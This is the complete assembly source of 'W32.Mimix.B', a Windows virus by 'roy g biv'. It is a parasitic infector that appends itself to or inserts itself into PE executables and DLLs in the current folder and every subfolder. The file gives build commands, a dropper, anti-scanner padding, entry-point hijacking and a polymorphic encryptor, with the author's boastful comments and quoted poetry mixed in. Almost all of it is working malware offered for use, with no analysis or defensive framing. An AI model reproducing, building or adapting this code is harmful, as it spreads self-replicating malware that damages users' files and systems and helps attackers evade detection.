Win32.Mimix.b
roy g biv / defjam
<![CDATA[
comment ;)
W32.Mimix.B by roy g biv
some of its features:
- parasitic direct-action infector of PE exe/dll (but not looking at suffix)
- infects files in current directory and all subdirectories
- directory traversal is linked-list instead of recursive to reduce stack size
- reloc section inserter/last section appender
- auto function type selection (Unicode under NT/2000/XP, ANSI under 9x/Me)
- uses CRCs instead of API names
- uses SEH for common code exit
- section attributes are never altered (virus is not self-modifying)
- no infect files with data outside of image (eg self-extractors)
- no infect files protected by SFC/SFP (including under Windows XP)
- infected files are padded by random amounts to confuse tail scanners
- uses SEH walker to find kernel address (no hard-coded addresses)
- correct file checksum without using imagehlp.dll :) 100% correct algorithm
---
optimisation tip: Windows appends ".dll" automatically, so this works:
push "cfs"
push esp
call LoadLibraryA
---
to build this thing:
tasm
----
tasm32 /ml /m3 mimix
tlink32 /B:400000 /x mimix,,,import32
Virus is not self-modifying, so no need to alter section attributes
---
We're in the middle of a phase transition:
a butterfly flapping its wings at
just the right moment could
cause a storm to happen.
-I'm trying to understand-
I'm at a moment in my life-
I don't know where to flap my wings.
(Danny Hillis)
(;
.686 ;cmov
.model flat
extern MessageBoxA:proc
extern ExitProcess:proc
.data
include mimix.inc
dropper label near
mov edx, krncrc_count
mov ebx, offset krnnames
mov edi, offset krncrcbegin
call create_crcs
mov edx, 1
mov ebx, offset sfcnames
mov edi, offset sfccrcbegin
call create_crcs
;-----------------------------------------------------------------------------
;everything before this point is dropper code
;-----------------------------------------------------------------------------
;-----------------------------------------------------------------------------
;main virus body. everything happens in here
;-----------------------------------------------------------------------------
mimix_inf proc near
push offset do_message ;replaced by host entrypoint
xor esi, esi
lods dword ptr fs:[esi]
push eax
mov dword ptr fs:[esi - 4], esp
inc eax
walk_seh label near
dec eax
xchg esi, eax
lods dword ptr [esi]
inc eax
jne walk_seh
enter ((size findlist - 5) and -4) + ((statelen + 1) shl 2), 0
;Windows NT/2000/XP enables alignment check exception
;so some APIs fail if buffer is not dword aligned
;-5 to align at 2 dwords earlier
;because EBP saved automatically
;and other register saved next
;statelen for RNG cache
push eax ;zero findprev in findlist
lods dword ptr [esi]
call init_findmz
;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------
krncrcbegin label near
dd (krncrc_count + 1) dup (0)
;-----------------------------------------------------------------------------
;get SFC support if available
;-----------------------------------------------------------------------------
call load_sfc
db "sfc_os", 0 ;Windows XP (forwarder chain from sfc.dll)
db "MiMiX - roy g biv" ;like nothing you've ever seen before
load_sfc label near
call dword ptr [esp + krncrcstk.kLoadLibraryA]
test eax, eax
jne found_sfc
push 'cfs' ;Windows 2000
push esp
call dword ptr [esp + 4 + krncrcstk.kLoadLibraryA]
pop ecx
test eax, eax
je sfcapi_push
found_sfc label near
inc eax
xchg edi, eax
call find_mzhdr
;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------
sfccrcbegin label near
dd 0, 0
pop eax
sfcapi_push label near
push eax
;-----------------------------------------------------------------------------
;swap CreateFileW and CreateFileMappingA because of alphabet order
;-----------------------------------------------------------------------------
mov ebx, esp
lea esi, dword ptr [ebx + krncrcstk.kCreateFileMappingA]
mov edi, esi
lods dword ptr [esi]
movs dword ptr [edi], dword ptr [esi]
stos dword ptr [edi]
;-----------------------------------------------------------------------------
;determine platform and dynamically select function types (ANSI or Unicode)
;so for Windows NT/2000/XP this code handles files that no ANSI function can open
;-----------------------------------------------------------------------------
call dword ptr [ebx + krncrcstk.kGetVersion]
shr eax, 1fh ;treat 9x and Win32s as ANSI
;safer than using AreFileApisANSI()
lea ebp, dword ptr [eax * 4 + ebx]
lea esi, dword ptr [ebx + size krncrcstk]
call dword ptr [ebx + krncrcstk.kGetTickCount]
lea edi, dword ptr [esi + ((size findlist + 3) and -4)]
call randinit
;-----------------------------------------------------------------------------
;non-recursive directory traverser
;-----------------------------------------------------------------------------
scan_dir proc near ;ebp -> platform APIs, esi -> findlist
push '*' ;ANSI-compatible Unicode findmask
mov eax, esp
lea ebx, dword ptr [esi + findlist.finddata]
push ebx
push eax
call dword ptr [ebp + krncrcstk.kFindFirstFileW]
pop ecx
mov dword ptr [esi + findlist.findhand], eax
inc eax
je find_prev
;you must always step forward from where you stand
test_dirfile label near
mov eax, dword ptr [ebx + WIN32_FIND_DATA.dwFileAttributes]
lea edi, dword ptr [esi + findlist.finddata.cFileName]
test al, FILE_ATTRIBUTE_DIRECTORY
je test_file
cmp byte ptr [edi], '.' ;ignore . and .. (but also .* directories under NT/2000/XP)
je find_next
;-----------------------------------------------------------------------------
;enter subdirectory, and allocate another list node
;-----------------------------------------------------------------------------
push edi
call dword ptr [ebp + krncrcstk.kSetCurrentDirectoryW]
xchg ecx, eax
jecxz find_next
push size findlist
push GMEM_FIXED
call dword ptr [esp + krncrcstk.kGlobalAlloc + 8]
xchg ecx, eax
jecxz step_updir
xchg esi, ecx
mov dword ptr [esi + findlist.findprev], ecx
jmp scan_dir
find_next label near
lea ebx, dword ptr [esi + findlist.finddata]
push ebx
mov edi, dword ptr [esi + findlist.findhand]
push edi
call dword ptr [ebp + krncrcstk.kFindNextFileW]
test eax, eax
jne test_dirfile
;-----------------------------------------------------------------------------
;close find, and free list node if not list head
;-----------------------------------------------------------------------------
mov ebx, esp
push edi
call dword ptr [ebx + krncrcstk.kFindClose]
find_prev label near
mov ecx, dword ptr [esi + findlist.findprev]
jecxz mimix_exit
push esi
mov esi, ecx
call dword ptr [ebx + krncrcstk.kGlobalFree]
step_updir label near
;-----------------------------------------------------------------------------
;the ANSI string ".." can be used, even on Unicode platforms
;-----------------------------------------------------------------------------
push '..'
org $ - 1 ;select top 8 bits of push
mimix_exit label near
int 3 ;game over
push esp
call dword ptr [ebx + krncrcstk.kSetCurrentDirectoryA]
pop eax
jmp find_next
test_file label near
;-----------------------------------------------------------------------------
;get full path and convert to Unicode if required (SFC requires Unicode path)
;-----------------------------------------------------------------------------
push eax ;save original file attributes for close
mov eax, ebp
enter MAX_PATH * 2, 0
mov ecx, esp
push eax
push esp
push ecx
push MAX_PATH
push edi
call dword ptr [eax + krncrcstk.kGetFullPathNameW]
xchg edi, eax
pop eax
xor ebx, ebx
call dword ptr [ebp + 8 + krncrcstk.kGetVersion]
test eax, eax
jns call_sfcapi
mov ecx, esp
xchg ebp, eax
enter MAX_PATH * 2, 0
xchg ebp, eax
mov eax, esp
push MAX_PATH
push eax
inc edi
push edi
push ecx
push ebx ;use default translation
push ebx ;CP_ANSI
call dword ptr [ebp + 8 + krncrcstk.kMultiByteToWideChar]
call_sfcapi label near
;-----------------------------------------------------------------------------
;don't touch protected files
;-----------------------------------------------------------------------------
mov ecx, dword ptr [ebp + 8 + krncrcstk.kSfcIsFileProtected]
xor eax, eax ;fake success in case of no SFC
jecxz leave_sfc
push esp
push ebx
call ecx
leave_sfc label near
leave
test eax, eax
jne restore_attr
call set_fileattr
push ebx
push ebx
push OPEN_EXISTING
push ebx
push ebx
push GENERIC_READ or GENERIC_WRITE
push edi
call dword ptr [ebp + krncrcstk.kCreateFileW]
xchg ebx, eax
call test_infect
db 81h ;mask CALL
call infect_file ;Super Nashwan power ;)
lea eax, dword ptr [esi + findlist.finddata.ftLastWriteTime]
push eax
sub eax, 8
push eax
push 0
push ebx
call dword ptr [esp + 4 + krncrcstk.kSetFileTime + 10h]
push ebx
call dword ptr [esp + 4 + krncrcstk.kCloseHandle + 4]
restore_attr label near
pop ebx ;restore original file attributes
call set_fileattr
jmp find_next
scan_dir endp
init_findmz label near
inc eax
xchg edi, eax
find_mzhdr label near
;-----------------------------------------------------------------------------
;do not use hard-coded kernel address values because it is not portable
;Microsoft used all different values for 95, 98, NT, 2000, Me, XP
;they will maybe change again for every new release
;-----------------------------------------------------------------------------
dec edi ;sub 64kb
xor di, di ;64kb align
call is_pehdr
jne find_mzhdr
mov ebx, edi
pop edi
;-----------------------------------------------------------------------------
;parse export table
;-----------------------------------------------------------------------------
mov esi, dword ptr [esi + pehdr.peexport.dirrva - pehdr.pecoff]
lea esi, dword ptr [ebx + esi + peexp.expadrrva]
lods dword ptr [esi] ;Export Address Table RVA
lea edx, dword ptr [ebx + eax]
lods dword ptr [esi] ;Name Pointer Table RVA
lea ecx, dword ptr [ebx + eax]
lods dword ptr [esi] ;Ordinal Table RVA
lea ebp, dword ptr [ebx + eax]
mov esi, ecx
push_export label near
push ecx
get_export label near
lods dword ptr [esi]
push ebx
add ebx, eax ;Name Pointer VA
or eax, -1
crc_outer label near
xor al, byte ptr [ebx]
push 8
pop ecx
crc_inner label near
add eax, eax
jnb crc_skip
xor eax, 4c11db7h ;use generator polymonial (see IEEE 802)
crc_skip label near
loop crc_inner
sub cl, byte ptr [ebx] ;carry set if not zero
inc ebx ;carry not altered by inc
jb crc_outer
pop ebx
cmp dword ptr [edi], eax
jne get_export
;-----------------------------------------------------------------------------
;exports must be sorted alphabetically, otherwise GetProcAddress() would fail
;this allows to push addresses onto the stack, and the order is known
;-----------------------------------------------------------------------------
pop ecx
mov eax, esi
sub eax, ecx ;Name Pointer Table VA
shr eax, 1
movzx eax, word ptr [ebp + eax - 2] ;get export ordinal
mov eax, dword ptr [eax * 4 + edx] ;get export RVA
add eax, ebx
push eax
scas dword ptr [edi]
cmp dword ptr [edi], 0
jne push_export
scas dword ptr [edi]
jmp edi
;-----------------------------------------------------------------------------
;look for MZ and PE file signatures
;-----------------------------------------------------------------------------
is_pehdr proc near ;edi -> map view
cmp word ptr [edi], 'ZM' ;Windows does not check 'MZ'
jne pehdr_ret
mov esi, dword ptr [edi + mzhdr.mzlfanew]
add esi, edi
lods dword ptr [esi] ;SEH protects against bad lfanew value
add eax, -'EP' ;anti-heuristic test filetype ;) and clear EAX
pehdr_ret label near
ret ;if PE file, then eax = 0, esi -> COFF header, Z flag set
is_pehdr endp
;-----------------------------------------------------------------------------
;reset/set read-only file attribute
;-----------------------------------------------------------------------------
set_fileattr proc near ;ebx = file attributes, esi -> findlist, ebp -> platform APIs
push ebx
lea edi, dword ptr [esi + findlist.finddata.cFileName]
push edi
call dword ptr [ebp + krncrcstk.kSetFileAttributesW]
ret ;edi -> filename
db "01/03/08" ;welcome to the future
set_fileattr endp
;-----------------------------------------------------------------------------
;test if file is infectable (not protected, PE, x86, non-system, not infected, etc)
;-----------------------------------------------------------------------------
test_infect proc near ;esi = find data, edi = map view, ebp -> platform APIs
call map_view
mov ebp, esi
call is_pehdr
jne inftest_ret
lods dword ptr [esi]
cmp ax, IMAGE_FILE_MACHINE_I386
jne inftest_ret ;only Intel 386+
shr eax, 0dh ;move high 16 bits into low 16 bits and multiply by 8
lea edx, dword ptr [eax * 4 + eax] ;complete multiply by 28h (size pesect)
mov ecx, dword ptr [esi + pehdr.pecoff.peflags - pehdr.pecoff.petimedate]
;-----------------------------------------------------------------------------
;IMAGE_FILE_BYTES_REVERSED_* bits are rarely set correctly, so do not test them
;-----------------------------------------------------------------------------
test ch, (IMAGE_FILE_SYSTEM or IMAGE_FILE_UP_SYSTEM_ONLY) shr 8
jne inftest_ret
add esi, pehdr.peentrypoint - pehdr.pecoff.petimedate
;-----------------------------------------------------------------------------
;if file is a .dll, then we require an entry point function
;-----------------------------------------------------------------------------
lods dword ptr [esi]
xchg ecx, eax
test ah, IMAGE_FILE_DLL shr 8
je test_system
jecxz inftest_ret
;-----------------------------------------------------------------------------
;32-bit executable file...
;-----------------------------------------------------------------------------
test_system label near
and ax, IMAGE_FILE_EXECUTABLE_IMAGE or IMAGE_FILE_32BIT_MACHINE
cmp ax, IMAGE_FILE_EXECUTABLE_IMAGE or IMAGE_FILE_32BIT_MACHINE
jne inftest_ret ;cannot use xor+jpo because 0 is also jpe
;-----------------------------------------------------------------------------
;the COFF magic value is not checked because Windows ignores it anyway
;IMAGE_FILE_MACHINE_IA64 machine type is the only reliable way to detect PE32+
;-----------------------------------------------------------------------------
mov eax, dword ptr [esi + pehdr.pesubsys - pehdr.pecodebase]
cmp ax, IMAGE_SUBSYSTEM_WINDOWS_CUI
jnbe inftest_ret
cmp al, IMAGE_SUBSYSTEM_WINDOWS_GUI ;al not ax, because ah is known now to be 0
jb inftest_ret
shr eax, 1eh ;test eax, IMAGE_DLLCHARACTERISTICS_WDM_DRIVER shl 10h
jb inftest_ret
;-----------------------------------------------------------------------------
;avoid files which seem to contain attribute certificates
;because one of those certificates might be a digital signature
;-----------------------------------------------------------------------------
cmp dword ptr [esi + pehdr.pesecurity.dirrva - pehdr.pecodebase], eax
jnbe inftest_ret
;-----------------------------------------------------------------------------
;cannot use the NumberOfRvaAndSizes field to calculate the Optional Header size
;the Optional Header can be larger than the offset of the last directory
;remember: even if you have not seen it does not mean that it does not happen :)
;-----------------------------------------------------------------------------
movzx eax, word ptr [esi + pehdr.pecoff.peopthdrsize - pehdr.pecodebase]
add eax, edx
mov ebx, dword ptr [esi + pehdr.pefilealign - pehdr.pecodebase]
lea esi, dword ptr [esi + eax - pehdr.pecodebase + pehdr.pemagic - size pesect + pesect.sectrawsize]
lods dword ptr [esi]
add eax, dword ptr [esi]
cmp dword ptr [ebp + findlist.finddata.dwFileSizeLow], eax
jne inftest_ret ;file contains appended data
add dword ptr [ebp + findlist.finddata.dwFileSizeLow], ebx
inc dword ptr [esp + mapsehstk.mapsehinfret]
;skip call mask
inftest_ret label near
int 3
;-----------------------------------------------------------------------------
;increase file size by random value (between RANDPADMIN and RANDPADMAX bytes)
;I use GetTickCount() instead of RDTSC because RDTSC can be made privileged
;-----------------------------------------------------------------------------
open_append proc near
call dword ptr [esp + size mapstack - 4 + krncrcstk.kGetTickCount]
and eax, RANDPADMAX - 1
add ax, small ((((offset mimix_codeend - offset mimix_inf) + 74h) and -4) + RANDPADMIN)
;-----------------------------------------------------------------------------
;create file map, and map view if successful
;-----------------------------------------------------------------------------
map_view proc near ;eax = extra bytes to map, ebx = file handle, esi -> findlist, ebp -> platform APIs
cdq
add eax, dword ptr [esi + findlist.finddata.dwFileSizeLow]
push eax
mov ecx, esp
push eax ;MapViewOfFile
push edx ;MapViewOfFile
push edx ;MapViewOfFile
push FILE_MAP_WRITE ;Windows 9x/Me does not support FILE_MAP_ALL_ACCESS
push edx
push eax
push edx
push PAGE_READWRITE
push edx
push ebx
call dword ptr [ecx + size mapstack + krncrcstk.kCreateFileMappingA]
;ANSI map is allowed because of no name
push eax
xchg edi, eax
call dword ptr [esp + size mapstack + krncrcstk.kMapViewOfFile + 14h]
pop ecx
xchg edi, eax ;should succeed even if file cannot be opened
pushad
call unmap_seh
pop eax
pop eax
pop esp
xor eax, eax
pop dword ptr fs:[eax]
pop eax
popad ;SEH destroys all registers
push eax
push edi
call dword ptr [esp + size mapstack + krncrcstk.kUnmapViewOfFile + 4]
call dword ptr [esp + size mapstack + krncrcstk.kCloseHandle]
pop eax
ret
unmap_seh proc near
cdq
push dword ptr fs:[edx]
mov dword ptr fs:[edx], esp
jmp dword ptr [esp + mapsehstk.mapsehsehret]
unmap_seh endp
map_view endp ;eax = map handle, ecx = new file size, edi = map view
open_append endp
;-----------------------------------------------------------------------------
;infect file
;algorithm: increase file size by random amount (RANDPADMIN-RANDPADMAX
; bytes) to confuse scanners that look at end of file (also
; infection marker)
; if reloc table is not in last section (taken from relocation
; field in PE header, not section name), then append to last
; section. otherwise, move relocs down and insert code into
; space (to confuse people looking at end of file. they will
; see only relocation data and garbage or many zeroes)
; entry point is altered to point to our code. very simple
;-----------------------------------------------------------------------------
infect_file label near ;esi -> findlist, edi = map view
call open_append
delta_label label near
push ecx
push edi
mov ebx, dword ptr [edi + mzhdr.mzlfanew]
lea ebx, dword ptr [ebx + edi + pehdr.pechksum]
xor ecx, ecx
imul cx, word ptr [ebx + pehdr.pecoff.pesectcount - pehdr.pechksum], size pesect
add cx, word ptr [ebx + pehdr.pecoff.peopthdrsize - pehdr.pechksum]
lea esi, dword ptr [ebx + ecx + pehdr.pemagic - pehdr.pechksum - size pesect + pesect.sectrawsize]
lods dword ptr [esi]
mov cx, ((offset mimix_codeend - offset mimix_inf) + 7ch) and -4
mov edx, dword ptr [ebx + pehdr.pefilealign - pehdr.pechksum]
push eax
add eax, ecx
dec edx
add eax, edx
not edx
and eax, edx ;file align last section
mov dword ptr [esi + pesect.sectrawsize - pesect.sectrawaddr], eax
;-----------------------------------------------------------------------------
;raw size is file aligned. virtual size is not required to be section aligned
;so if old virtual size is larger than new raw size, then size of image does
;not need to be updated, else virtual size must be large enough to cover the
;new code, and size of image is section aligned
;-----------------------------------------------------------------------------
mov ebp, dword ptr [esi + pesect.sectvirtaddr - pesect.sectrawaddr]
cmp dword ptr [esi + pesect.sectvirtsize - pesect.sectrawaddr], eax
jnb test_reloff
mov dword ptr [esi + pesect.sectvirtsize - pesect.sectrawaddr], eax
add eax, ebp
mov edx, dword ptr [ebx + pehdr.pesectalign - pehdr.pechksum]
dec edx
add eax, edx
not edx
and eax, edx
mov dword ptr [ebx + pehdr.peimagesize - pehdr.pechksum], eax
;-----------------------------------------------------------------------------
;if relocation table is not in last section, then append to last section
;otherwise, move relocations down and insert code into space
;-----------------------------------------------------------------------------
test_reloff label near
test byte ptr [ebx + pehdr.pecoff.peflags - pehdr.pechksum], IMAGE_FILE_RELOCS_STRIPPED
jne copy_code
cmp dword ptr [ebx + pehdr.pereloc.dirrva - pehdr.pechksum], ebp
jb copy_code
mov eax, dword ptr [esi + pesect.sectvirtsize - pesect.sectrawaddr]
add eax, ebp
cmp dword ptr [ebx + pehdr.pereloc.dirrva - pehdr.pechksum], eax
jnb copy_code
add dword ptr [ebx + pehdr.pereloc.dirrva - pehdr.pechksum], ecx
pop eax
push esi
add edi, dword ptr [esi]
lea esi, dword ptr [edi + eax - 1]
lea edi, dword ptr [esi + ecx]
xchg ecx, eax
std
rep movs byte ptr [edi], byte ptr [esi]
cld
pop esi
pop edi
push edi
push ecx
xchg ecx, eax
copy_code label near
pop edx
add ebp, edx
add edx, dword ptr [esi]
add edi, edx
;-----------------------------------------------------------------------------
;section attributes are always altered to executable because for Windows XP SP2
;you can remove that bit, if you want, but we need the writable bit for RNG
;-----------------------------------------------------------------------------
or byte ptr [esi + pesect.sectflags - pesect.sectrawaddr + 3], (IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_WRITE) shr 18h
;-----------------------------------------------------------------------------
;alter entry point
;-----------------------------------------------------------------------------
add ebp, 24h
xchg dword ptr [ebx + pehdr.peentrypoint - pehdr.pechksum], ebp
add ebp, dword ptr [ebx + pehdr.peimagebase - pehdr.pechksum]
mov esi, offset encrypted - offset delta_label
add esi, dword ptr [esp + infectstk.infseh.mapsehinfret]
;delta offset
mov dword ptr [esi + (offset mimix_inf - offset encrypted) + 1], ebp
push ebx
rand_reg label near
call random
and al, 7
cmp al, 4
je rand_reg
xor ebx, ebx
mov bh, al
add al, 58h
stos byte ptr [edi]
mov ecx, dword ptr [esi + 9]
push ecx
shr cl, 3
and cl, 7
mov bl, cl
mov ah, 1
shl ah, cl
add ah, 10h ;disallow esp and in-use reg
xor edx, edx
;-----------------------------------------------------------------------------
;map used register and also find the unused register
;-----------------------------------------------------------------------------
mov al, byte ptr [esi]
and al, 0fh
bts eax, eax
and al, 7
cmp al, bh
cmove edx, esi
;-----------------------------------------------------------------------------
;replace any conflicting move with spare register
;-----------------------------------------------------------------------------
mov al, 3ch
mov cl, 0b7h
find_free label near
add al, 8
inc ecx
shr ah, 1
jb find_free
test edx, edx
je skip_mov1
mov byte ptr [edx], cl
skip_mov1 label near
cmp bl, bh
jne skip_mov2
mov byte ptr [esi + 9], al
mov byte ptr [esi + 33h], al
skip_mov2 label near
pop edx
mov bl, dh
and bl, 7
cmp bl, bh
jne skip_mov3
push ecx
add cl, 48h
mov bl, cl
sub cl, 18h
mov byte ptr [esi + 39h], cl
pop ecx
skip_mov3 label near
imul edx, ebx, 8
mov al, dh
add al, bl
mov byte ptr [esi + 0ah], al
mov byte ptr [esi + 34h], al
mov bl, cl
and bl, 7
imul edx, ebx, 8
push 6
pop ecx
push esi
;-----------------------------------------------------------------------------
;replace all conflicting arithmetic operations with spare register
;-----------------------------------------------------------------------------
swap_reg label near
mov al, byte ptr [esi + 0dh]
mov ah, al
and ax, 3807h
cmp ah, dh
jne skip_mov4
mov ah, dl
skip_mov4 label near
cmp al, bh
jne skip_mov5
mov al, bl
skip_mov5 label near
add al, ah
add al, 0c0h
mov byte ptr [esi + 0dh], al
lods dword ptr [esi]
cmp cl, 6
je skip_incesi
lods dword ptr [esi]
skip_incesi label near
loop swap_reg
pop esi
xor bl, bl
lea ebp, dword ptr [edi + 20h]
xchg edi, ebp
lea eax, dword ptr [ebx + 0e8df70ddh]
stos dword ptr [edi]
mov eax, -29h
stos dword ptr [edi]
mov cl, 4
assign_vars label near
call random
mov dword ptr [ecx * 8 + esi + 0ah], eax
neg ecx
mov dword ptr [ecx * 8 + esi + (offset encryptor - offset encrypted) + 2dh], eax
neg ecx
loop assign_vars
bswap ebx
dec ecx
xchg edi, ebp
;-----------------------------------------------------------------------------
;randomly order movq lines
;-----------------------------------------------------------------------------
reorder label near
call random
and eax, 7
btr ecx, eax
jnb reorder
shl al, 3
mov edx, eax
rand_slot label near
call random
and eax, 7
add al, 8
btr ecx, eax
jnb rand_slot
sub al, 8
shl al, 3
push eax
mov ah, dl
bswap eax
lea eax, dword ptr [ebx + eax + 406f0fh]
stos dword ptr [edi]
pop eax
add edx, esi
add eax, ebp
xchg esi, edx
xchg edi, eax
movs dword ptr [edi], dword ptr [esi]
movs dword ptr [edi], dword ptr [esi]
xchg esi, edx
xchg edi, eax
test cl, cl
jne reorder
mov ecx, offset mimix_codeend - offset mimix_inf
sub esi, offset encrypted - offset mimix_inf
add edi, 58h
push edi
rep movs byte ptr [edi], byte ptr [esi]
pop eax
call encryptor
pop ebx
pop edi
;-----------------------------------------------------------------------------
;CheckSumMappedFile() - simply sum of all words in file, then adc filesize
;-----------------------------------------------------------------------------
xor ecx, ecx
xchg dword ptr [ebx], ecx
jecxz infect_ret
cdq
pop ecx
push ecx
inc ecx
shr ecx, 1
clc
calc_checksum label near
adc dx, word ptr [edi]
inc edi
inc edi
loop calc_checksum
pop dword ptr [ebx]
adc dword ptr [ebx], edx ;avoid common bug. ADC not ADD
infect_ret label near
int 3 ;common exit using SEH
db "*4U2NV*" ;that is, unless you're reading this
test_infect endp
;-----------------------------------------------------------------------------
;Mersenne Twister RNG MT19937 (c) 1997 Makoto Matsumoto and Takuji Nishimura
;period is ((2^19937)-1) with 623-dimensionally equidistributed sequence
;asm port and size optimise by rgb in 2002
;-----------------------------------------------------------------------------
randinit proc near ;eax = seed, ecx = 0, edi -> RNG cache
pushad
push edi
or eax, 1
mov ecx, statelen
init_loop label near
stos dword ptr [edi]
mov edx, 69069
mul edx ;Knuth label near x_new = x_old * 69069
loop init_loop
inc ecx ;force reload
call initdelta
initdelta label near
pop edi
add edi, offset randvars - offset initdelta
xchg ecx, eax
stos dword ptr [edi]
pop eax
stos dword ptr [edi]
stos dword ptr [edi]
popad
ret
randinit endp
random proc near
pushad
call randelta
randvars label near
db 'rgb!' ;numbers left
db 'rgb!' ;next pointer
db 'rgb!' ;state pointer
randelta label near
pop esi
push esi
lods dword ptr [esi]
xchg ecx, eax
lods dword ptr [esi]
xchg esi, eax
loop random_ret
mov cx, statelen - period
mov esi, dword ptr [eax]
lea ebx, dword ptr [esi + (period * 4)]
mov edi, esi
push esi
lods dword ptr [esi]
xchg edx, eax
call twist
pop ebx
mov cx, period - 1
push ecx
push ebx
call twist
pop esi
push esi
inc ecx
call twist
xchg edx, eax
pop esi
pop ecx
inc ecx
random_ret label near
lods dword ptr [esi]
mov edx, eax
shr eax, tshiftU
xor eax, edx
mov edx, eax
shl eax, tshiftS
and eax, tmaskB
xor eax, edx
mov edx, eax
shl eax, tshiftT
and eax, tmaskC
xor eax, edx
mov edx, eax
shr eax, tshiftL
xor eax, edx
pop edi
mov dword ptr [esp + 1ch], eax ;eax in pushad
xchg ecx, eax
stos dword ptr [edi]
xchg esi, eax
stos dword ptr [edi]
popad
ret
random endp
twist proc near
lods dword ptr [esi]
push eax
add eax, eax ;remove highest bit
add edx, edx ;test highest bit
rcr eax, 2 ;merge bits and test lowest bit
jnb twist_skip ;remove branch but larger using
xor eax, matrixA ;sbb edx, edx+and edx, matrixA+xor eax, edx
twist_skip label near
xor eax, dword ptr [ebx]
add ebx, 4
stos dword ptr [edi]
pop edx
loop twist
ret
twist endp
encrypted label near
mov ecx, (offset mimix_codeend - offset mimix_inf + 4) and -4
nop
jmp short $ + 4
decrypt label near
mov ebx, dword ptr [ecx + eax + 4ch]
xor ebx, ecx
jmp short $ + 4
add ebx, '!bgr'
jmp short $ + 4
xor ebx, '!bgr'
jmp short $ + 4
sub ebx, '!bgr'
jmp short $ + 4
xor ebx, '!bgr'
jmp short $ + 4
add ebx, ecx
mov dword ptr [ecx + eax + 4ch], ebx
jmp short $ + 4
sub ecx, 4
jne decrypt - 0ch
nop
if (3eh - (offset $ - offset encrypted)) and 80000000h
err "code is too large"
endif
jmp short $ + 9 ;to skip tail
encryptor proc near
mov ecx, (offset mimix_codeend - offset mimix_inf + 4) and -4
encrypt label near
mov ebx, dword ptr [ecx + eax - 4]
sub ebx, ecx
xor ebx, '!bgr'
jmp short $ + 2
add ebx, '!bgr'
jmp short $ + 2
xor ebx, '!bgr'
jmp short $ + 2
sub ebx, '!bgr'
jmp short $ + 2
xor ebx, ecx
mov dword ptr [ecx + eax - 4], ebx
sub ecx, 4
jne encrypt
ret
encryptor endp
;When last comes to last,
; I have little power:
; I am merely an urn.
;I hold the bone-sap of myself,
; And watch the marrow burn.
;
;When last comes to last,
; I have little strength:
; I am only a tool.
;I work its work; and in its hands
; I am the fool.
;
;When last comes to last,
; I have little life.
; I am simply a deed:
;an action done while courage holds:
; A seed.
;(Stephen Donaldson)
mimix_codeend label near
mimix_inf endp
create_crcs proc near
or eax, -1
create_outer label near
xor al, byte ptr [ebx]
push 8
pop ecx
create_inner label near
add eax, eax
jnb create_skip
xor eax, 4c11db7h ;use generator polymonial (see IEEE 802)
create_skip label near
loop create_inner
sub cl, byte ptr [ebx] ;carry set if not zero
inc ebx ;carry not altered by inc
jb create_outer
stos dword ptr [edi]
dec edx
jne create_crcs
ret
create_crcs endp
do_message label near
xor ebx, ebx
push ebx
push offset txttitle
push offset txtbody
push ebx
call MessageBoxA
push ebx
call ExitProcess
;must be alphabetical order
;API names are not present in replications, only in dropper
krnnames db "CloseHandle" , 0
db "CreateFileA" , 0
db "CreateFileMappingA" , 0
db "CreateFileW" , 0
db "FindClose" , 0
db "FindFirstFileA" , 0
db "FindFirstFileW" , 0
db "FindNextFileA" , 0
db "FindNextFileW" , 0
db "GetFullPathNameA" , 0
db "GetFullPathNameW" , 0
db "GetTickCount" , 0
db "GetVersion" , 0
db "GlobalAlloc" , 0
db "GlobalFree" , 0
db "LoadLibraryA" , 0
db "MapViewOfFile" , 0
db "MultiByteToWideChar" , 0
db "SetCurrentDirectoryA", 0
db "SetCurrentDirectoryW", 0
db "SetFileAttributesA" , 0
db "SetFileAttributesW" , 0
db "SetFileTime" , 0
db "UnmapViewOfFile" , 0
sfcnames db "SfcIsFileProtected", 0
txttitle db "MiMiX", 0
txtbody db "running...", 0
.code
nop
end dropper
]]>